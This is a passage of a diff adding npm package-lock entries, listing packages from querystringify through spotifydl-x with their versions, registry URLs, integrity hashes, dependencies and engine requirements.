"dependencies": { + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==" + }, + "node_modules/quick-format-unescaped": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/quick-format-unescaped/-/quick-format-unescaped-4.0.4.tgz", + "integrity": "sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==" + }, + "node_modules/quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/random-seed": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/random-seed/-/random-seed-0.3.0.tgz", + "integrity": "sha512-y13xtn3kcTlLub3HKWXxJNeC2qK4mB59evwZ5EkeRlolx+Bp2ztF7LbcZmyCnOqlHQrLnfuNbi1sVmm9lPDlDA==", + "dependencies": { + "json-stringify-safe": "^5.0.1" + }, + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/random-useragent": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/random-useragent/-/random-useragent-0.5.0.tgz", + "integrity": "sha512-FUMkqVdZeoSff5tErNL3FFGYXElDWZ1bEuedhm5u9MdCFwANriJWbHvDRYrLTOzp/fBsBGu5J1cWtDgifa97aQ==", + "dependencies": { + "random-seed": "^0.3.0" + } + }, + "node_modules/read": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz", + "integrity": "sha512-rSOKNYUmaxy0om1BNjMN4ezNT6VKK+2xF4GBhc81mkH7L60i6dp8qPYrkndNLT3QPphoII3maL9PVC9XmhHwVQ==", + "dependencies": { + "mute-stream": "~0.0.4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/readable-web-to-node-stream": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/readable-web-to-node-stream/-/readable-web-to-node-stream-3.0.2.tgz", + "integrity": "sha512-ePeK6cc1EcKLEhJFt/AebMCLL+GgSKhuygrZ/GLaKZYEecIgIECf4UaUuaByiGtzckwR4ain9VzUh95T1exYGw==", + "dependencies": { + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/readable-web-to-node-stream/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/real-require": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/real-require/-/real-require-0.1.0.tgz", + "integrity": "sha512-r/H9MzAWtrv8aSVjPCMFpDMl5q66GqtmmRkRjpHTsp4zBAa+snZyiQNlMONiUmEJcsnaw0wCauJ2GWODr/aFkg==", + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/redstar": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/redstar/-/redstar-0.0.2.tgz", + "integrity": "sha512-VNvLaLxMJMYiAasJX5Q/GC+Os7FXL0yPWFDuTodhR7Na9wqzrXsePPWC+EtIv4t3q5DyAK00w423xi5mQN2fqg==", + "dependencies": { + "minimatch": "~3.0.4" + } + }, + "node_modules/redstar/node_modules/minimatch": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.8.tgz", + "integrity": "sha512-6FsRAQsxQ61mw+qP1ZzbL9Bc78x2p5OqNgNpnoAFLTrX8n5Kxph0CsnhmKKNXTWjXqU5L0pGPR7hYk+XWZr60Q==", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/reflect-metadata": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/reflect-metadata/-/reflect-metadata-0.1.13.tgz", + "integrity": "sha512-Ts1Y/anZELhSsjMcU605fU9RE4Oi3p5ORujwbIKXfWa+0Zxs510Qrmrce5/Jowq3cHSZSJqBjypxmHarc+vEWg==" + }, + "node_modules/regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==" + }, + "node_modules/remove-accents": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/remove-accents/-/remove-accents-0.4.2.tgz", + "integrity": "sha512-7pXIJqJOq5tFgG1A2Zxti3Ht8jJF337m4sowbuHsW30ZnkQFnDzy9qBNhgzX8ZLW4+UBcXiiR7SwR6pokHsxiA==" + }, + "node_modules/remove.bg": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/remove.bg/-/remove.bg-1.3.0.tgz", + "integrity": "sha512-vWCAOkmOLfn2U+uFlaEL4qFtP/Uxmcw+MW2Ds4zpsdHmcyXdy7XPx4Hp+K7Bl/ZdJVedLIDs88RQL7fvYb0J/Q==", + "dependencies": { + "request": "^2.88.0", + "unirest": "~0.6.0" + } + }, + "node_modules/request": { + "version": "2.88.2", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", + "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", + "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", + "dependencies": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/request/node_modules/form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/request/node_modules/qs": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz", + "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/request/node_modules/tough-cookie": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", + "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", + "dependencies": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/request/node_modules/uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-in-the-middle": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-5.2.0.tgz", + "integrity": "sha512-efCx3b+0Z69/LGJmm9Yvi4cqEdxnoGnxYxGxBghkkTTFeXRtTCmmhO0AnAfHz59k957uTSuy8WaHqOs8wbYUWg==", + "dependencies": { + "debug": "^4.1.1", + "module-details-from-path": "^1.0.3", + "resolve": "^1.22.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==" + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" + }, + "node_modules/resolve": { + "version": "1.22.4", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.4.tgz", + "integrity": "sha512-PXNdCiPqDqeUou+w1C2eTQbNfxKSuMxqTCuvlmmMsk1NWHL5fRrhY6Pl0qEYYc6+QqGClco1Qj8XnjPego4wfg==", + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-alpn": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" + }, + "node_modules/responselike": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz", + "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==", + "dependencies": { + "lowercase-keys": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/run-series": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/run-series/-/run-series-1.1.9.tgz", + "integrity": "sha512-Arc4hUN896vjkqCYrUXquBFtRZdv1PfLbTYP71efP6butxyQ0kWpiNJyAgsxscmQg1cqvHY32/UCBzXedTpU2g==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safe-stable-stringify": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.4.3.tgz", + "integrity": "sha512-e2bDA2WJT0wxseVd4lsDP4+3ONX6HpMXQa1ZhFQ7SU+GjvORCmShbCMltrtIDfkYhVHrOcPtj+KhmDBdPdZD1g==", + "engines": { + "node": ">=10" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==" + }, + "node_modules/saxes": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz", + "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/scrape-primbon": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/scrape-primbon/-/scrape-primbon-1.1.0.tgz", + "integrity": "sha512-GnE8DDYfXoBCFo0qyG0D3OGOBM4jVksKOrPd2/NXUwu60+Hdmat6718HhDKvkZjCq4IdD0Bx2pZmTq4uMbUYpQ==", + "dependencies": { + "axios": "^0.24.0", + "cheerio": "^1.0.0-rc.10" + } + }, + "node_modules/seedrandom": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/seedrandom/-/seedrandom-3.0.5.tgz", + "integrity": "sha512-8OwmbklUNzwezjGInmZ+2clQmExQPvomqjL7LFqOYqtmuxRgQYqOD3mHaU+MvZn5FLUeVxVfQjwLZW/n/JFuqg==" + }, + "node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==" + }, + "node_modules/shimmer": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/shimmer/-/shimmer-1.2.1.tgz", + "integrity": "sha512-sQTKC1Re/rM6XyFM6fIAGHRPVGvyXfgzIDvzoq608vM+jeyVD0Tu1E6Np0Kc2zAIFWIj963V2800iF/9LPieQw==" + }, + "node_modules/side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "dependencies": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/sift": { + "version": "16.0.1", + "resolved": "https://registry.npmjs.org/sift/-/sift-16.0.1.tgz", + "integrity": "sha512-Wv6BjQ5zbhW7VFefWusVP33T/EM0vYikCaQ2qR8yULbsilAT8/wQaXvuQ3ptGLpoKx+lihJE3y2UTgKDyyNHZQ==" + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==" + }, + "node_modules/similarity": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/similarity/-/similarity-1.2.1.tgz", + "integrity": "sha512-lMOpWVaWrTnyL+tkvDs8oGV/KAUBQ3wfbZtdiwDcC+KYGlwO8kgtiyag1B6akAjALDMwn5rN5YHHei1hr4X7nw==", + "dependencies": { + "levenshtein-edit-distance": "^2.0.0" + }, + "bin": { + "similarity": "cli.js" + } + }, + "node_modules/simple-update-notifier": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-1.1.0.tgz", + "integrity": "sha512-VpsrsJSUcJEseSbMHkrsrAVSdvVS5I96Qo1QAQ4FxQ9wXFcB+pjj7FB7/us9+GcgfW4ziHtYMc1J0PLczb55mg==", + "dependencies": { + "semver": "~7.0.0" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/simple-update-notifier/node_modules/semver": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.0.0.tgz", + "integrity": "sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.7.1.tgz", + "integrity": "sha512-7maUZy1N7uo6+WVEX6psASxtNlKaNVMlGQKkG/63nEDdLOWNbiUMoLK7X4uYoLhQstau72mLgfEWcXcwsaHbYQ==", + "dependencies": { + "ip": "^2.0.0", + "smart-buffer": "^4.2.0" + }, + "engines": { + "node": ">= 10.13.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks-proxy-agent": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-7.0.0.tgz", + "integrity": "sha512-Fgl0YPZ902wEsAyiQ+idGd1A7rSFx/ayC1CQVMw5P+EQx2V0SgpGtf6OKFhVjPflPUl9YMmEOnmfjCdMUsygww==", + "dependencies": { + "agent-base": "^6.0.2", + "debug": "^4.3.3", + "socks": "^2.6.2" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/socks/node_modules/ip": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ip/-/ip-2.0.0.tgz", + "integrity": "sha512-WKa+XuLG1A1R0UWhl2+1XQSi+fZWMsYKffMZTTYsiZaUD8k2yDAj5atimTUD2TZkyCkNEeYE5NhFZmupOGtjYQ==" + }, + "node_modules/sonic-boom": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/sonic-boom/-/sonic-boom-2.8.0.tgz", + "integrity": "sha512-kuonw1YOYYNOve5iHdSahXPOK49GqwA+LZhI6Wz/l0rP57iKyXXIHaRagOBHAPmGwJC6od2Z9zgvZ5loSgMlVg==", + "dependencies": { + "atomic-sleep": "^1.0.0" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/sparse-bitfield": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/sparse-bitfield/-/sparse-bitfield-3.0.3.tgz", + "integrity": "sha512-kvzhi7vqKTfkh0PZU+2D2PIllw2ymqJKujUcyPMd9Y75Nv4nPbGJZXNhxsgdQab2BmlDct1YnfQCguEvHr7VsQ==", + "optional": true, + "dependencies": { + "memory-pager": "^1.0.2" + } + }, + "node_modules/spinnies": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/spinnies/-/spinnies-0.5.1.tgz", + "integrity": "sha512-WpjSXv9NQz0nU3yCT9TFEOfpFrXADY9C5fG6eAJqixLhvTX1jP3w92Y8IE5oafIe42nlF9otjhllnXN/QCaB3A==", + "dependencies": { + "chalk": "^2.4.2", + "cli-cursor": "^3.0.0", + "strip-ansi": "^5.2.0" + } + }, + "node_modules/spinnies/node_modules/ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "engines": { + "node": ">=6" + } + }, + "node_modules/spinnies/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/spinnies/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/spinnies/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/spinnies/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/spinnies/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/spinnies/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/spinnies/node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/spinnies/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/split2": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz", + "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==", + "engines": { + "node": ">= 10.x" + } + }, + "node_modules/spotify-web-api-node": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/spotify-web-api-node/-/spotify-web-api-node-5.0.2.tgz", + "integrity": "sha512-r82dRWU9PMimHvHEzL0DwEJrzFk+SMCVfq249SLt3I7EFez7R+jeoKQd+M1//QcnjqlXPs2am4DFsGk8/GCsrA==", + "dependencies": { + "superagent": "^6.1.0" + } + }, + "node_modules/spotifydl-x": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/spotifydl-x/-/spotifydl-x-0.3.5.tgz", + "integrity": "sha512-N8KQdkd+EBL/owdvVmkUHDI7Qsm4ZgfUviQqBRRHQt9RYegPMnwL/kEh+QpYlcVgwbbxf9aTeqvve8g20A8ldQ==", + "dependencies": { + "axios": "^1.3.5", + "fluent-ffmpeg": "^2.1.2", + "fs-extra": "^11.1.1", + "spotify-web-api-node": "^5.0.2", + "youtubedl-core": "^4.11.4", + "yt-search": 